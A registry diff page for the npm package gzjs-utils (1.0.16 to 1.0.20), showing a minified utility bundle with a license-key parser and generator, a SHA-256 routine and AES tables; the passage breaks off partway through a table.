gzjs-utils 1.0.16 → 1.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/index.js +1 -1
- package/package.json +2 -2
- package/types/index.d.ts +5 -0
- package/types/utils/Bytes.d.ts +6 -1
- package/types/utils/Promise.d.ts +14 -0
- package/types/utils/Utils.d.ts +9 -4
- package/types/utils/types/KeyTool.d.ts +3 -2
package/lib/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("JsUtils",[],e):"object"==typeof exports?exports.JsUtils=e():t.JsUtils=e()}(this,(()=>(()=>{var t={124:function(t,e,r){"use strict";function n(t){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},n(t)}function o(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function i(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?o(Object(r),!0).forEach((function(e){u(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):o(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function u(t,e,r){return(e=function(t){var e=function(t){if("object"!=n(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var r=e.call(t,"string");if("object"!=n(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==n(e)?e:e+""}(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var a=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0});var l=r(989),c=a(r(60)),f=r(454),s=r(330),d={writable:!1,enumerable:!1,configurable:!1},y="JsUtils",p=function(t){void 0===Object.JsUtils&&(0,l.defineProps)(Object,y,i({value:t},d)),"undefined"==typeof window||window[y]||(0,l.defineProps)(window,y,i({value:t},d));var e=c.default.register(Math);return(0,l.defineProps)(t,"version",i({value:s.version},d)),(0,l.defineProps)(t,"author",i({value:s.author},d)),(0,l.defineProps)(t,"__tool__",i({value:e},d)),t}(f.GzJsUtils);e.default=p,e.default=p,t.exports.default=p},835:function(t,e,r){"use strict";function n(t){return function(t){if(Array.isArray(t))return o(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function(t,e){if(t){if("string"==typeof t)return o(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?o(t,e):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}var i=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0}),e._KeyTool=void 0,e.parseKey=p,e.getKeyToolVersion=function(){return e._KeyTool.version};var u=r(917),a=r(895),l=i(r(283)),c=i(r(167)),f="TUV4A3B3C1D0E1F1G9H9I4J0K6L0M1N3O1P3Q1RTW",s=f.split("").filter((function(t){return!/\d/.test(t)})),d=new Array(14).fill(9,0,13).join(""),y="=>:=>";function p(t){var e=l.default.decrypt(t);if(null===e)return null;e=n(e);for(var r=(0,u.toHex)(e.pop())[1]+(0,u.toHex)(e.pop())[1],o=2*(0,u.fromHex)(r)[0],i=0;i<e.length;i++)e[i]=(0,u.byte)(e[i]-o);var a=(0,u.fromHex)(r[0])[0],s=(0,u.fromHex)(r[1])[0],d=(0,u.fromBytes)(e),p=d.indexOf(y),h=-1==p?null:d.substring(p+y.length),b=(-1!==p?d.substring(0,p):d).split(""),m=Number(b[s]);if(isNaN(m))throw new Error("invalid key");var g=b.splice(s,m+1);if(s>b.length)throw new Error("invalid key");if(a>b.length)throw new Error("invalid key");var w=b.splice(a,m+1);w.shift(),g.shift(),w=w.join(""),g=g.join("");var A=Number(w+g);if(isNaN(A))throw new Error("invalid key");for(var _=null,O=null,S=null,I=null,j=null,P=[],E="",C=0;C<b.length;C++){var N=b[C];"Y"==N?_=b[++C]+b[++C]+b[++C]+b[++C]:"M"==N?O=b[++C]+b[++C]:"D"==N?S=b[++C]+b[++C]:"H"==N?I=b[++C]+b[++C]:"I"==N?j=b[++C]+b[++C]:"-"==N?E=b[++C]+b[++C]:P.push(N)}var x=[_,"-",O,"-",S," ",I,":",j,":00"].join(""),k=new Date(x).getTime()+1e3*A,D=Math.floor((k-Date.now())/1e3);P.push("-",_.slice(-2),O,S,I,j,"-",E);for(var F=f.split(""),B="",T=0;T<F.length;T++){var M=F[T];-1!="1234567890".indexOf(M)&&(B+=M)}if(0!=P.join("").indexOf(B))throw new Error("invalid key");var U="String"===Object.prototype.toString.call(h).slice(8,-1);try{h=U?(0,u.fromBytes)(c.default.ECB(P.join(""),{}).decrypt((0,u.fromHex)(h))):h}catch(t){throw new Error("invalid key")}return{key:P.join(""),req:A,begin:x,end:v(k),enabled:D>0,diff:Math.abs(D),data:h}}var v=function(t){var e=new Date(t),r=e.getFullYear(),n=e.getMonth()+1,o=e.getDate(),i=e.getHours(),u=e.getMinutes(),a=e.getSeconds();return r+"-"+(n<10?"0"+n:n)+"-"+(o<10?"0"+o:o)+" "+(i<10?"0"+i:i)+":"+(u<10?"0"+u:u)+":"+(a<10?"0"+a:a)};e._KeyTool={version:"1.0.10",readKey:function(t){var e=p(t);return delete e.key,e},createKey:function(t){var e,r;t=Number(t),isNaN(t)&&(t=0);var o=f.split(""),i=new Date,c=i.getFullYear()+"",y=(i.getMonth()+1<10?"0":"")+(i.getMonth()+1),p=(i.getDate()<10?"0":"")+i.getDate(),v=(i.getHours()<10?"0":"")+i.getHours(),h=(i.getMinutes()<10?"0":"")+i.getMinutes(),b=n(s),m=["Y"+c,"M"+y,"D"+p,"H"+v,"I"+h],g=function(){var t=(m=(0,a.shuffle)(m)).shift(),e=(b=(0,a.shuffle)(b)).shift();b=b.filter((function(e){return e!==t[0]})),o[o.findIndex((function(t){return t===e}))]=t;var r=t[0];o=o.filter((function(t){return t!==r}))};do{g()}while(m.length>0);o=o.filter((function(t){return!b.includes(t)}));var w,A=(0,a.random)(2,"1234567890abcdef"),_=(((w=Number(Math.max(0,t||0).toFixed(0)))+"").length>d.length?d:w)+"";_.length%2!=0&&(_="0"+_);var O=_.length/2,S=(0,u.fromHex)(A[0])[0],I=(0,u.fromHex)(A[1])[0];o.push("-"),o.push(A),(e=o=o.join("").split("")).splice.apply(e,[Number(S),0].concat(n(O+""+_.substring(0,O)))),(r=o).splice.apply(r,[Number(I),0].concat(n(O+""+_.substring(O))));for(var j=n((0,u.toBytes)(o.join(""))),P=2*(0,u.fromHex)(A)[0],E=0;E<j.length;E++)j[E]=(0,u.byte)(j[E]+P);return j.push(I,S),l.default.encode(new Int8Array(j))}}},701:function(t,e,r){"use strict";function n(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}var o=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0}),e.sha256=h;var i=r(917),u=o(r(283)),a=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);function l(t,e){return t>>>e|t<<32-e}function c(t,e){return t>>>e}function f(t,e,r){return t&e^~t&r}function s(t,e,r){return t&e^t&r^e&r}function d(t){return l(t,2)^l(t,13)^l(t,22)}function y(t){return l(t,6)^l(t,11)^l(t,25)}function p(t){return l(t,7)^l(t,18)^c(t,3)}function v(t,e){var r=(65535&t)+(65535&e);return(t>>16)+(e>>16)+(r>>16)<<16|65535&r}function h(t,e){return function(t,e){var r;t=function(t){if(Array.isArray(t))return n(t)}(r=t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(r)||function(t,e){if(t){if("string"==typeof t)return n(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?n(t,e):void 0}}(r)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}();var o,i,u,h,b,m,g,w,A,_,O,S,I,j=[1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225],P=new Array(64);for(t[e>>5]|=128<<24-e%32,t[15+(e+64>>9<<4)]=e,A=0;A<t.length;A+=16){for(o=j[0],i=j[1],u=j[2],h=j[3],b=j[4],m=j[5],g=j[6],w=j[7],_=0;_<64;_++)P[_]=_<16?t[_+A]:v(v(v(l(I=P[_-2],17)^l(I,19)^c(I,10),P[_-7]),p(P[_-15])),P[_-16]),O=v(v(v(v(w,y(b)),f(b,m,g)),a[_]),P[_]),S=v(d(o),s(o,i,u)),w=g,g=m,m=b,b=v(h,O),h=u,u=i,i=o,o=v(O,S);j[0]=v(o,j[0]),j[1]=v(i,j[1]),j[2]=v(u,j[2]),j[3]=v(h,j[3]),j[4]=v(b,j[4]),j[5]=v(m,j[5]),j[6]=v(g,j[6]),j[7]=v(w,j[7])}return j}(t,e||8*t.length)}var b={hex_hash:function(t){if(null==t)return null;var e=h((0,i.toUint8Array)(t));return(0,i.toHex)(e)},b64_hash:function(t){if(null==t)return null;var e=h((0,i.toUint8Array)(t));return u.default.encode(e)}};e.default=b},167:(t,e,r)=>{"use strict";function n(t){return function(t){if(Array.isArray(t))return o(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||function(t,e){if(t){if("string"==typeof t)return o(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?o(t,e):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}Object.defineProperty(e,"__esModule",{value:!0});var i=r(917),u=r(895),a={16:10,24:12,32:14},l=[1,2,4,8,16,32,64,128,27,54,108,216,171,77,154,47,94,188,99,198,151,53,106,212,179,125,250,239,197,145],c=[99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,84,187,22],f=[82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,70,87,167,141,157,132,144,216,171,0,140,188,211,10,247,228,88,5,184,179,69,6,208,44,30,143,202,63,15,2,193,175,189,3,1,19,138,107,58,145,17,65,79,103,220,234,151,242,207,206,240,180,230,115,150,172,116,34,231,173,53,133,226,249,55,232,28,117,223,110,71,241,26,113,29,41,197,137,111,183,98,14,170,24,190,27,252,86,62,75,198,210,121,32,154,219,192,254,120,205,90,244,31,221,168,51,136,7,199,49,177,18,16,89,39,128,236,95,96,81,127,169,25,181,74,13,45,229,122,159,147,201,156,239,160,224,59,77,174,42,245,176,200,235,187,60,131,83,153,97,23,43,4,126,186,119,214,38,225,105,20,99,85,33,12,125],s=[3328402341,4168907908,4000806809,4135287693,4294111757,3597364157,3731845041,2445657428,1613770832,33620227,3462883241,1445669757,3892248089,3050821474,1303096294,3967186586,2412431941,528646813,2311702848,4202528135,4026202645,2992200171,2387036105,4226871307,1101901292,3017069671,1604494077,1169141738,597466303,1403299063,3832705686,2613100635,1974974402,3791519004,1033081774,1277568618,1815492186,2118074177,4126668546,2211236943,1748251740,1369810420,3521504564,4193382664,3799085459,2883115123,1647391059,706024767,134480908,2512897874,1176707941,2646852446,806885416,932615841,168101135,798661301,235341577,605164086,461406363,3756188221,3454790438,1311188841,2142417613,3933566367,302582043,495158174,1479289972,874125870,907746093,3698224818,3025820398,1537253627,2756858614,1983593293,3084310113,2108928974,1378429307,3722699582,1580150641,327451799,2790478837,3117535592,0,3253595436,1075847264,3825007647,2041688520,3059440621,3563743934,2378943302,1740553945,1916352843,2487896798,2555137236,2958579944,2244988746,3151024235,3320835882,1336584933,3992714006,2252555205,2588757463,1714631509,293963156,2319795663,3925473552,67240454,4269768577,2689618160,2017213508,631218106,1269344483,2723238387,1571005438,2151694528,93294474,1066570413,563977660,1882732616,4059428100,1673313503,2008463041,2950355573,1109467491,537923632,3858759450,4260623118,3218264685,2177748300,403442708,638784309,3287084079,3193921505,899127202,2286175436,773265209,2479146071,1437050866,4236148354,2050833735,3362022572,3126681063,840505643,3866325909,3227541664,427917720,2655997905,2749160575,1143087718,1412049534,999329963,193497219,2353415882,3354324521,1807268051,672404540,2816401017,3160301282,369822493,2916866934,3688947771,1681011286,1949973070,336202270,2454276571,201721354,1210328172,3093060836,2680341085,3184776046,1135389935,3294782118,965841320,831886756,3554993207,4068047243,3588745010,2345191491,1849112409,3664604599,26054028,2983581028,2622377682,1235855840,3630984372,2891339514,4092916743,3488279077,3395642799,4101667470,1202630377,268961816,1874508501,4034427016,1243948399,1546530418,941366308,1470539505,1941222599,2546386513,3421038627,2715671932,3899946140,1042226977,2521517021,1639824860,227249030,260737669,3765465232,2084453954,1907733956,3429263018,2420656344,100860677,4160157185,470683154,3261161891,1781871967,2924959737,1773779408,394692241,2579611992,974986535,664706745,3655459128,3958962195,731420851,571543859,3530123707,2849626480,126783113,865375399,765172662,1008606754,361203602,3387549984,2278477385,2857719295,1344809080,2782912378,59542671,1503764984,160008576,437062935,1707065306,3622233649,2218934982,3496503480,2185314755,697932208,1512910199,504303377,2075177163,2824099068,1841019862,739644986],d=[2781242211,2230877308,2582542199,2381740923,234877682,3184946027,2984144751,1418839493,1348481072,50462977,2848876391,2102799147,434634494,1656084439,3863849899,2599188086,1167051466,2636087938,1082771913,2281340285,368048890,3954334041,3381544775,201060592,3963727277,1739838676,4250903202,3930435503,3206782108,4149453988,2531553906,1536934080,3262494647,484572669,2923271059,1783375398,1517041206,1098792767,49674231,1334037708,1550332980,4098991525,886171109,150598129,2481090929,1940642008,1398944049,1059722517,201851908,1385547719,1699095331,1587397571,674240536,2704774806,252314885,3039795866,151914247,908333586,2602270848,1038082786,651029483,1766729511,3447698098,2682942837,454166793,2652734339,1951935532,775166490,758520603,3000790638,4004797018,4217086112,4137964114,1299594043,1639438038,3464344499,2068982057,1054729187,1901997871,2534638724,4121318227,1757008337,0,750906861,1614815264,535035132,3363418545,3988151131,3201591914,1183697867,3647454910,1265776953,3734260298,3566750796,3903871064,1250283471,1807470800,717615087,3847203498,384695291,3313910595,3617213773,1432761139,2484176261,3481945413,283769337,100925954,2180939647,4037038160,1148730428,3123027871,3813386408,4087501137,4267549603,3229630528,2315620239,2906624658,3156319645,1215313976,82966005,3747855548,3245848246,1974459098,1665278241,807407632,451280895,251524083,1841287890,1283575245,337120268,891687699,801369324,3787349855,2721421207,3431482436,959321879,1469301956,4065699751,2197585534,1199193405,2898814052,3887750493,724703513,2514908019,2696962144,2551808385,3516813135,2141445340,1715741218,2119445034,2872807568,2198571144,3398190662,700968686,3547052216,1009259540,2041044702,3803995742,487983883,1991105499,1004265696,1449407026,1316239930,504629770,3683797321,168560134,1816667172,3837287516,1570751170,1857934291,4014189740,2797888098,2822345105,2754712981,936633572,2347923833,852879335,1133234376,1500395319,3084545389,2348912013,1689376213,3533459022,3762923945,3034082412,4205598294,133428468,634383082,2949277029,2398386810,3913789102,403703816,3580869306,2297460856,1867130149,1918643758,607656988,4049053350,3346248884,1368901318,600565992,2090982877,2632479860,557719327,3717614411,3697393085,2249034635,2232388234,2430627952,1115438654,3295786421,2865522278,3633334344,84280067,33027830,303828494,2747425121,1600795957,4188952407,3496589753,2434238086,1486471617,658119965,3106381470,953803233,334231800,3005978776,857870609,3151128937,1890179545,2298973838,2805175444,3056442267,574365214,2450884487,550103529,1233637070,4289353045,2018519080,2057691103,2399374476,4166623649,2148108681,387583245,3664101311,836232934,3330556482,3100665960,3280093505,2955516313,2002398509,287182607,3413881008,4238890068,3597515707,975967766],y=[1671808611,2089089148,2006576759,2072901243,4061003762,1807603307,1873927791,3310653893,810573872,16974337,1739181671,729634347,4263110654,3613570519,2883997099,1989864566,3393556426,2191335298,3376449993,2106063485,4195741690,1508618841,1204391495,4027317232,2917941677,3563566036,2734514082,2951366063,2629772188,2767672228,1922491506,3227229120,3082974647,4246528509,2477669779,644500518,911895606,1061256767,4144166391,3427763148,878471220,2784252325,3845444069,4043897329,1905517169,3631459288,827548209,356461077,67897348,3344078279,593839651,3277757891,405286936,2527147926,84871685,2595565466,118033927,305538066,2157648768,3795705826,3945188843,661212711,2999812018,1973414517,152769033,2208177539,745822252,439235610,455947803,1857215598,1525593178,2700827552,1391895634,994932283,3596728278,3016654259,695947817,3812548067,795958831,2224493444,1408607827,3513301457,0,3979133421,543178784,4229948412,2982705585,1542305371,1790891114,3410398667,3201918910,961245753,1256100938,1289001036,1491644504,3477767631,3496721360,4012557807,2867154858,4212583931,1137018435,1305975373,861234739,2241073541,1171229253,4178635257,33948674,2139225727,1357946960,1011120188,2679776671,2833468328,1374921297,2751356323,1086357568,2408187279,2460827538,2646352285,944271416,4110742005,3168756668,3066132406,3665145818,560153121,271589392,4279952895,4077846003,3530407890,3444343245,202643468,322250259,3962553324,1608629855,2543990167,1154254916,389623319,3294073796,2817676711,2122513534,1028094525,1689045092,1575467613,422261273,1939203699,1621147744,2174228865,1339137615,3699352540,577127458,712922154,2427141008,2290289544,1187679302,3995715566,3100863416,339486740,3732514782,1591917662,186455563,3681988059,3762019296,844522546,978220090,169743370,1239126601,101321734,611076132,1558493276,3260915650,3547250131,2901361580,1655096418,2443721105,2510565781,3828863972,2039214713,3878868455,3359869896,928607799,1840765549,2374762893,3580146133,1322425422,2850048425,1823791212,1459268694,4094161908,3928346602,1706019429,2056189050,2934523822,135794696,3134549946,2022240376,628050469,779246638,472135708,2800834470,3032970164,3327236038,3894660072,3715932637,1956440180,522272287,1272813131,3185336765,2340818315,2323976074,1888542832,1044544574,3049550261,1722469478,1222152264,50660867,4127324150,236067854,1638122081,895445557,1475980887,3117443513,2257655686,3243809217,489110045,2662934430,3778599393,4162055160,2561878936,288563729,1773916777,3648039385,2391345038,2493985684,2612407707,505560094,2274497927,3911240169,3460925390,1442818645,678973480,3749357023,2358182796,2717407649,2306869641,219617805,3218761151,3862026214,1120306242,1756942440,1103331905,2578459033,762796589,252780047,2966125488,1425844308,3151392187,372911126],p=[1667474886,2088535288,2004326894,2071694838,4075949567,1802223062,1869591006,3318043793,808472672,16843522,1734846926,724270422,4278065639,3621216949,2880169549,1987484396,3402253711,2189597983,3385409673,2105378810,4210693615,1499065266,1195886990,4042263547,2913856577,3570689971,2728590687,2947541573,2627518243,2762274643,1920112356,3233831835,3082273397,4261223649,2475929149,640051788,909531756,1061110142,4160160501,3435941763,875846760,2779116625,3857003729,4059105529,1903268834,3638064043,825316194,353713962,67374088,3351728789,589522246,3284360861,404236336,2526454071,84217610,2593830191,117901582,303183396,2155911963,3806477791,3958056653,656894286,2998062463,1970642922,151591698,2206440989,741110872,437923380,454765878,1852748508,1515908788,2694904667,1381168804,993742198,3604373943,3014905469,690584402,3823320797,791638366,2223281939,1398011302,3520161977,0,3991743681,538992704,4244381667,2981218425,1532751286,1785380564,3419096717,3200178535,960056178,1246420628,1280103576,1482221744,3486468741,3503319995,4025428677,2863326543,4227536621,1128514950,1296947098,859002214,2240123921,1162203018,4193849577,33687044,2139062782,1347481760,1010582648,2678045221,2829640523,1364325282,2745433693,1077985408,2408548869,2459086143,2644360225,943212656,4126475505,3166494563,3065430391,3671750063,555836226,269496352,4294908645,4092792573,3537006015,3452783745,202118168,320025894,3974901699,1600119230,2543297077,1145359496,387397934,3301201811,2812801621,2122220284,1027426170,1684319432,1566435258,421079858,1936954854,1616945344,2172753945,1330631070,3705438115,572679748,707427924,2425400123,2290647819,1179044492,4008585671,3099120491,336870440,3739122087,1583276732,185277718,3688593069,3772791771,842159716,976899700,168435220,1229577106,101059084,606366792,1549591736,3267517855,3553849021,2897014595,1650632388,2442242105,2509612081,3840161747,2038008818,3890688725,3368567691,926374254,1835907034,2374863873,3587531953,1313788572,2846482505,1819063512,1448540844,4109633523,3941213647,1701162954,2054852340,2930698567,134748176,3132806511,2021165296,623210314,774795868,471606328,2795958615,3031746419,3334885783,3907527627,3722280097,1953799400,522133822,1263263126,3183336545,2341176845,2324333839,1886425312,1044267644,3048588401,1718004428,1212733584,50529542,4143317495,235803164,1633788866,892690282,1465383342,3115962473,2256965911,3250673817,488449850,2661202215,3789633753,4177007595,2560144171,286339874,1768537042,3654906025,2391705863,2492770099,2610673197,505291324,2273808917,3924369609,3469625735,1431699370,673740880,3755965093,2358021891,2711746649,2307489801,218961690,3217021541,3873845719,1111672452,1751693520,1094828930,2576986153,757954394,252645662,2964376443,1414855848,3149649517,370555436],v=[1374988112,2118214995,437757123,975658646,1001089995,530400753,2902087851,1273168787,540080725,2910219766,2295101073,4110568485,1340463100,3307916247,641025152,3043140495,3736164937,632953703,1172967064,1576976609,3274667266,2169303058,2370213795,1809054150,59727847,361929877,3211623147,2505202138,3569255213,1484005843,1239443753,2395588676,1975683434,4102977912,2572697195,666464733,3202437046,4035489047,3374361702,2110667444,1675577880,3843699074,2538681184,1649639237,2976151520,3144396420,4269907996,4178062228,1883793496,2403728665,2497604743,1383856311,2876494627,1917518562,3810496343,1716890410,3001755655,800440835,2261089178,3543599269,807962610,599762354,33778362,3977675356,2328828971,2809771154,4077384432,1315562145,1708848333,101039829,3509871135,3299278474,875451293,2733856160,92987698,2767645557,193195065,1080094634,1584504582,3178106961,1042385657,2531067453,3711829422,1306967366,2438237621,1908694277,67556463,1615861247,429456164,3602770327,2302690252,1742315127,2968011453,126454664,3877198648,2043211483,2709260871,2084704233,4169408201,0,159417987,841739592,504459436,1817866830,4245618683,260388950,1034867998,908933415,168810852,1750902305,2606453969,607530554,202008497,2472011535,3035535058,463180190,2160117071,1641816226,1517767529,470948374,3801332234,3231722213,1008918595,303765277,235474187,4069246893,766945465,337553864,1475418501,2943682380,4003061179,2743034109,4144047775,1551037884,1147550661,1543208500,2336434550,3408119516,3069049960,3102011747,3610369226,1113818384,328671808,2227573024,2236228733,3535486456,2935566865,3341394285,496906059,3702665459,226906860,2009195472,733156972,2842737049,294930682,1206477858,2835123396,2700099354,1451044056,573804783,2269728455,3644379585,2362090238,2564033334,2801107407,2776292904,3669462566,1068351396,742039012,1350078989,1784663195,1417561698,4136440770,2430122216,775550814,2193862645,2673705150,1775276924,1876241833,3475313331,3366754619,270040487,3902563182,3678124923,3441850377,1851332852,3969562369,2203032232,3868552805,2868897406,566021896,4011190502,3135740889,1248802510,3936291284,699432150,832877231,708780849,3332740144,899835584,1951317047,4236429990,3767586992,866637845,4043610186,1106041591,2144161806,395441711,1984812685,1139781709,3433712980,3835036895,2664543715,1282050075,3240894392,1181045119,2640243204,25965917,4203181171,4211818798,3009879386,2463879762,3910161971,1842759443,2597806476,933301370,1509430414,3943906441,3467192302,3076639029,3776767469,2051518780,2631065433,1441952575,404016761,1942435775,1408749034,1610459739,3745345300,2017778566,3400528769,3110650942,941896748,3265478751,371049330,3168937228,675039627,4279080257,967311729,135050206,3635733660,1683407248,2076935265,3576870512,1215061108,3501741890],h=[1347548327,1400783205,3273267108,2520393566,3409685355,4045380933,2880240216,2471224067,1428173050,4138563181,2441661558,636813900,4233094615,3620022987,2149987652,2411029155,1239331162,1730525723,2554718734,3781033664,46346101,310463728,2743944855,3328955385,3875770207,2501218972,3955191162,3667219033,768917123,3545789473,692707433,1150208456,1786102409,2029293177,1805211710,3710368113,3065962831,401639597,1724457132,3028143674,409198410,2196052529,1620529459,1164071807,3769721975,2226875310,486441376,2499348523,1483753576,428819965,2274680428,3075636216,598438867,3799141122,1474502543,711349675,129166120,53458370,2592523643,2782082824,4063242375,2988687269,3120694122,1559041666,730517276,2460449204,4042459122,2706270690,3446004468,3573941694,533804130,2328143614,2637442643,2695033685,839224033,1973745387,957055980,2856345839,106852767,1371368976,4181598602,1033297158,2933734917,1179510461,3046200461,91341917,1862534868,4284502037,605657339,2547432937,3431546947,2003294622,3182487618,2282195339,954669403,3682191598,1201765386,3917234703,3388507166,0,2198438022,1211247597,2887651696,1315723890,4227665663,1443857720,507358933,657861945,1678381017,560487590,3516619604,975451694,2970356327,261314535,3535072918,2652609425,1333838021,2724322336,1767536459,370938394,182621114,3854606378,1128014560,487725847,185469197,2918353863,3106780840,3356761769,2237133081,1286567175,3152976349,4255350624,2683765030,3160175349,3309594171,878443390,1988838185,3704300486,1756818940,1673061617,3403100636,272786309,1075025698,545572369,2105887268,4174560061,296679730,1841768865,1260232239,4091327024,3960309330,3497509347,1814803222,2578018489,4195456072,575138148,3299409036,446754879,3629546796,4011996048,3347532110,3252238545,4270639778,915985419,3483825537,681933534,651868046,2755636671,3828103837,223377554,2607439820,1649704518,3270937875,3901806776,1580087799,4118987695,3198115200,2087309459,2842678573,3016697106,1003007129,2802849917,1860738147,2077965243,164439672,4100872472,32283319,2827177882,1709610350,2125135846,136428751,3874428392,3652904859,3460984630,3572145929,3593056380,2939266226,824852259,818324884,3224740454,930369212,2801566410,2967507152,355706840,1257309336,4148292826,243256656,790073846,2373340630,1296297904,1422699085,3756299780,3818836405,457992840,3099667487,2135319889,77422314,1560382517,1945798516,788204353,1521706781,1385356242,870912086,325965383,2358957921,2050466060,2388260884,2313884476,4006521127,901210569,3990953189,1014646705,1503449823,1062597235,2031621326,3212035895,3931371469,1533017514,350174575,2256028891,2177544179,1052338372,741876788,1606591296,1914052035,213705253,2334669897,1107234197,1899603969,3725069491,2631447780,2422494913,1635502980,1893020342,1950903388,1120974935],b=[2807058932,1699970625,2764249623,1586903591,1808481195,1173430173,1487645946,59984867,4199882800,1844882806,1989249228,1277555970,3623636965,3419915562,1149249077,2744104290,1514790577,459744698,244860394,3235995134,1963115311,4027744588,2544078150,4190530515,1608975247,2627016082,2062270317,1507497298,2200818878,567498868,1764313568,3359936201,2305455554,2037970062,1047239e3,1910319033,1337376481,2904027272,2892417312,984907214,1243112415,830661914,861968209,2135253587,2011214180,2927934315,2686254721,731183368,1750626376,4246310725,1820824798,4172763771,3542330227,48394827,2404901663,2871682645,671593195,3254988725,2073724613,145085239,2280796200,2779915199,1790575107,2187128086,472615631,3029510009,4075877127,3802222185,4107101658,3201631749,1646252340,4270507174,1402811438,1436590835,3778151818,3950355702,3963161475,4020912224,2667994737,273792366,2331590177,104699613,95345982,3175501286,2377486676,1560637892,3564045318,369057872,4213447064,3919042237,1137477952,2658625497,1119727848,2340947849,1530455833,4007360968,172466556,266959938,516552836,0,2256734592,3980931627,1890328081,1917742170,4294704398,945164165,3575528878,958871085,3647212047,2787207260,1423022939,775562294,1739656202,3876557655,2530391278,2443058075,3310321856,547512796,1265195639,437656594,3121275539,719700128,3762502690,387781147,218828297,3350065803,2830708150,2848461854,428169201,122466165,3720081049,1627235199,648017665,4122762354,1002783846,2117360635,695634755,3336358691,4234721005,4049844452,3704280881,2232435299,574624663,287343814,612205898,1039717051,840019705,27083261